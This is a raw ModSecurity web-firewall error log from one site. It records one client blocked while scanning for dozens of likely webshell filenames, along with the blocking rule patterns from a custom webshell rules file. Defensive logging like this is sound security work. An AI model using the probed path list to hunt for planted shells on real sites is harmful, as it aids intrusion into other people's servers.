[Tue Apr 14 23:56:49.106473 2026] [:error] [pid 3810:tid 3817] [client 128.251.16.122:52517] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "ad5jwcqc5XaYZhFXVGfrSQAAAYQ"]
[Tue Apr 14 23:56:51.160000 2026] [:error] [pid 3778:tid 3786] [client 128.251.16.122:46914] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1100.php"] [unique_id "ad5jwxx5DfpNmYF_PaEYJQAAAUY"]
[Tue Apr 14 23:56:59.973046 2026] [:error] [pid 3810:tid 3813] [client 128.251.16.122:5364] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "ad5jy8qc5XaYZhFXVGfrWgAAAYA"]
[Tue Apr 14 23:57:08.498341 2026] [:error] [pid 3778:tid 3783] [client 128.251.16.122:63169] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "ad5j1Bx5DfpNmYF_PaEYPQAAAUM"]
[Tue Apr 14 23:57:09.606286 2026] [:error] [pid 3778:tid 3801] [client 128.251.16.122:50302] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f35.php"] [unique_id "ad5j1Rx5DfpNmYF_PaEYQwAAAVU"]
[Tue Apr 14 23:57:35.521780 2026] [:error] [pid 60074:tid 60098] [client 128.251.16.122:53385] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "ad5j7-tqnEmNU9vpHCnebQAAANY"]
[Tue Apr 14 23:57:36.370948 2026] [:error] [pid 60074:tid 60084] [client 128.251.16.122:46599] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "ad5j8OtqnEmNU9vpHCnecwAAAMg"]
[Tue Apr 14 23:57:37.382708 2026] [:error] [pid 60074:tid 60080] [client 128.251.16.122:65195] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "ad5j8etqnEmNU9vpHCnedwAAAMQ"]
[Tue Apr 14 23:57:39.949039 2026] [:error] [pid 22177:tid 22197] [client 128.251.16.122:60100] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/000.php"] [unique_id "ad5j84TVeJSXHDIlEDuqMgAAARI"]
[Tue Apr 14 23:57:42.038551 2026] [:error] [pid 60074:tid 60099] [client 128.251.16.122:55009] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "ad5j9utqnEmNU9vpHCnehQAAANc"]
[Tue Apr 14 23:57:43.349110 2026] [:error] [pid 3810:tid 3826] [client 128.251.16.122:45128] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "ad5j98qc5XaYZhFXVGfrjQAAAY0"]
[Tue Apr 14 23:57:45.459005 2026] [:error] [pid 59986:tid 60032] [client 128.251.16.122:49834] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "ad5j-Z6axKeW6bX4H7fW9AAAAEw"]
[Tue Apr 14 23:57:48.978273 2026] [:error] [pid 60074:tid 60096] [client 128.251.16.122:58232] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/config.php"] [unique_id "ad5j_OtqnEmNU9vpHCnelwAAANQ"]
[Tue Apr 14 23:57:58.176455 2026] [:error] [pid 60074:tid 60088] [client 128.251.16.122:48425] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "ad5kButqnEmNU9vpHCneoAAAAMw"]
[Tue Apr 14 23:57:59.432595 2026] [:error] [pid 59987:tid 60071] [client 128.251.16.122:63440] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "ad5kB1Wpk-Tfi6_vLKpeVgAAAJg"]
[Tue Apr 14 23:58:00.299039 2026] [:error] [pid 3778:tid 3801] [client 128.251.16.122:50804] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "ad5kCBx5DfpNmYF_PaEYcQAAAVU"]
[Tue Apr 14 23:58:01.293311 2026] [:error] [pid 3778:tid 3781] [client 128.251.16.122:60513] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x3x.php"] [unique_id "ad5kCRx5DfpNmYF_PaEYcwAAAUE"]
[Tue Apr 14 23:58:06.817030 2026] [:error] [pid 59986:tid 60034] [client 128.251.16.122:60500] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ad5kDp6axKeW6bX4H7fXMAAAAE4"]
[Tue Apr 14 23:58:09.266572 2026] [:error] [pid 3810:tid 3825] [client 128.251.16.122:60497] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ad5kEcqc5XaYZhFXVGfrnwAAAYw"]
[Tue Apr 14 23:58:13.400562 2026] [:error] [pid 3778:tid 3803] [client 128.251.16.122:63447] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ad5kFRx5DfpNmYF_PaEYmwAAAVc"]
[Tue Apr 14 23:58:14.760105 2026] [:error] [pid 59985:tid 60002] [client 128.251.16.122:59321] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ad5kFugHaxkvLE6V1kmBrAAAAAk"]
[Tue Apr 14 23:58:16.053565 2026] [:error] [pid 22177:tid 22203] [client 128.251.16.122:63439] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/global.php"] [unique_id "ad5kGITVeJSXHDIlEDuqSAAAARg"]
[Tue Apr 14 23:58:18.380196 2026] [:error] [pid 59986:tid 60039] [client 128.251.16.122:6012] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/global.php"] [unique_id "ad5kGp6axKeW6bX4H7fXTAAAAFM"]
[Tue Apr 14 23:58:19.746732 2026] [:error] [pid 59985:tid 60017] [client 128.251.16.122:5985] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/global.php"] [unique_id "ad5kG-gHaxkvLE6V1kmBrgAAABg"]
[Tue Apr 14 23:58:21.246945 2026] [:error] [pid 59985:tid 60000] [client 128.251.16.122:56218] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/global.php"] [unique_id "ad5kHegHaxkvLE6V1kmBswAAAAc"]
[Tue Apr 14 23:58:22.008065 2026] [:error] [pid 59986:tid 60044] [client 128.251.16.122:60513] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "ad5kHp6axKeW6bX4H7fXXAAAAFg"]
[Tue Apr 14 23:58:23.261227 2026] [:error] [pid 59987:tid 60071] [client 128.251.16.122:59267] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "ad5kH1Wpk-Tfi6_vLKpebwAAAJg"]
[Tue Apr 14 23:58:25.225829 2026] [:error] [pid 59987:tid 60060] [client 128.251.16.122:63534] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "ad5kIVWpk-Tfi6_vLKpecwAAAI0"]
[Tue Apr 14 23:58:26.223158 2026] [:error] [pid 59986:tid 60035] [client 128.251.16.122:5823] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/themes.php"] [unique_id "ad5kIp6axKeW6bX4H7fXagAAAE8"]
[Tue Apr 14 23:58:27.173115 2026] [:error] [pid 22177:tid 22187] [client 128.251.16.122:47104] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "ad5kI4TVeJSXHDIlEDuqUwAAAQg"]
[Tue Apr 14 23:58:29.806709 2026] [:error] [pid 22177:tid 22181] [client 128.251.16.122:56226] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "ad5kJYTVeJSXHDIlEDuqVwAAAQI"]
[Tue Apr 14 23:58:30.921670 2026] [:error] [pid 3810:tid 3828] [client 128.251.16.122:59307] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "ad5kJsqc5XaYZhFXVGfrtAAAAY8"]
[Tue Apr 14 23:58:31.911666 2026] [:error] [pid 3778:tid 3785] [client 128.251.16.122:48694] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/link.php"] [unique_id "ad5kJxx5DfpNmYF_PaEYrAAAAUU"]
[Tue Apr 14 23:58:32.820961 2026] [:error] [pid 3810:tid 3817] [client 128.251.16.122:54146] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ortasekerli1.php"] [unique_id "ad5kKMqc5XaYZhFXVGfrugAAAYQ"]
[Tue Apr 14 23:58:39.249401 2026] [:error] [pid 59985:tid 59997] [client 128.251.16.122:47129] [client 128.251.16.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "ad5kL-gHaxkvLE6V1kmB0QAAAAQ"]
[Tue Apr 14 23:58:48.226145 2026] [:error] [pid 22177:tid 22191] [client 128.251.16.122:54156] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e7.php"] [unique_id "ad5kOITVeJSXHDIlEDuqewAAAQw"]
[Tue Apr 14 23:58:53.620307 2026] [:error] [pid 22177:tid 22201] [client 128.251.16.122:58178] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e7.php"] [unique_id "ad5kPYTVeJSXHDIlEDuqgwAAARY"]
[Tue Apr 14 23:58:56.904297 2026] [:error] [pid 22177:tid 22199] [client 128.251.16.122:56247] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e7.php"] [unique_id "ad5kQITVeJSXHDIlEDuqhwAAARQ"]
[Tue Apr 14 23:58:58.759966 2026] [:error] [pid 59986:tid 60037] [client 128.251.16.122:58201] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e7.php"] [unique_id "ad5kQp6axKeW6bX4H7fXtAAAAFE"]
[Tue Apr 14 23:59:00.435401 2026] [:error] [pid 59987:tid 60063] [client 128.251.16.122:63493] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e3.php"] [unique_id "ad5kRFWpk-Tfi6_vLKpekgAAAJA"]
[Tue Apr 14 23:59:03.918124 2026] [:error] [pid 22177:tid 22186] [client 128.251.16.122:61531] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e3.php"] [unique_id "ad5kR4TVeJSXHDIlEDuqjQAAAQc"]
[Tue Apr 14 23:59:07.080529 2026] [:error] [pid 3778:tid 3792] [client 128.251.16.122:61527] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e3.php"] [unique_id "ad5kSxx5DfpNmYF_PaEY4wAAAUw"]
[Tue Apr 14 23:59:07.747352 2026] [:error] [pid 59986:tid 60023] [client 128.251.16.122:62797] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/e3.php"] [unique_id "ad5kS56axKeW6bX4H7fXygAAAEM"]
[Tue Apr 14 23:59:11.058903 2026] [:error] [pid 59987:tid 60070] [client 128.251.16.122:54448] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "ad5kT1Wpk-Tfi6_vLKpepAAAAJc"]
[Tue Apr 14 23:59:12.456826 2026] [:error] [pid 59986:tid 60035] [client 128.251.16.122:62819] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "ad5kUJ6axKeW6bX4H7fX1QAAAE8"]
[Tue Apr 14 23:59:14.375351 2026] [:error] [pid 59987:tid 60058] [client 128.251.16.122:60184] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "ad5kUlWpk-Tfi6_vLKpeqQAAAIs"]
[Tue Apr 14 23:59:16.131209 2026] [:error] [pid 3810:tid 3815] [client 128.251.16.122:44048] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "ad5kVMqc5XaYZhFXVGfr-gAAAYI"]
[Tue Apr 14 23:59:17.674816 2026] [:error] [pid 59985:tid 59999] [client 128.251.16.122:60176] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "ad5kVegHaxkvLE6V1kmB9gAAAAY"]
[Tue Apr 14 23:59:18.673332 2026] [:error] [pid 3778:tid 3800] [client 128.251.16.122:58237] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "ad5kVhx5DfpNmYF_PaEY8wAAAVQ"]
[Tue Apr 14 23:59:21.401545 2026] [:error] [pid 60074:tid 60094] [client 128.251.16.122:62785] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "ad5kWetqnEmNU9vpHCne_gAAANI"]
[Tue Apr 14 23:59:22.902293 2026] [:error] [pid 3810:tid 3832] [client 128.251.16.122:52245] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "ad5kWsqc5XaYZhFXVGfsBQAAAZM"]
[Tue Apr 14 23:59:24.181784 2026] [:error] [pid 59986:tid 60022] [client 128.251.16.122:48998] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "ad5kXJ6axKeW6bX4H7fX5AAAAEI"]
[Tue Apr 14 23:59:25.149184 2026] [:error] [pid 22177:tid 22181] [client 128.251.16.122:54435] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "ad5kXYTVeJSXHDIlEDuqpQAAAQI"]
[Tue Apr 14 23:59:28.843130 2026] [:error] [pid 60074:tid 60084] [client 128.251.16.122:61563] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "ad5kYOtqnEmNU9vpHCnfDAAAAMg"]
[Tue Apr 14 23:59:29.782801 2026] [:error] [pid 3778:tid 3793] [client 128.251.16.122:61535] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-class.php"] [unique_id "ad5kYRx5DfpNmYF_PaEZKQAAAU0"]
[Tue Apr 14 23:59:30.792092 2026] [:error] [pid 59986:tid 60021] [client 128.251.16.122:60202] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cilus.php"] [unique_id "ad5kYp6axKeW6bX4H7fX9gAAAEE"]
